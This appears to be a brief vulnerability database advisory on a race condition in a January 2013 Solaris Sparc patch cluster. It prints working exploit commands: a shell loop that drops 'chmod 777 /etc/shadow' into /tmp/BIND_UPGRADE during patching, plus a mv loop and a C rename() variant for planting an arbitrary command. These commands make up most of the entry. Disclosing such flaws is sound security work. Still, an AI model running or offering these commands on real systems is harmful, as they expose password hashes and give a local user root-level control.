The VapidLabs Vulnerability Database

Solaris Sparc patch cluster January 2013.

If the following is run:

while (true) ; do touch /tmp/BIND_UPGRADE ;echo "chmod 777 /etc/shadow" > /tmp/BIND_UPGRADE; done

during patch installation you can get /etc/shadow world writeable.

Vladz suggested:

Another approach to exploit this is to place your evil command in a file called /tmp/BIND_UPGRADE.new, and loop the move command.

$ while ! mv /tmp/BIND_UPGRADE.new /tmp/BIND_UPGRADE 2>/dev/null; do continue; done

or in C:

while (rename("/tmp/BIND_UPGRADE.new", "/tmp/BIND_UPGRADE") != 0) continue;

I am telling this because I think that moving a file takes less syscalls (one at least) than a "echo string >> file" that open(), write() and close() the file.

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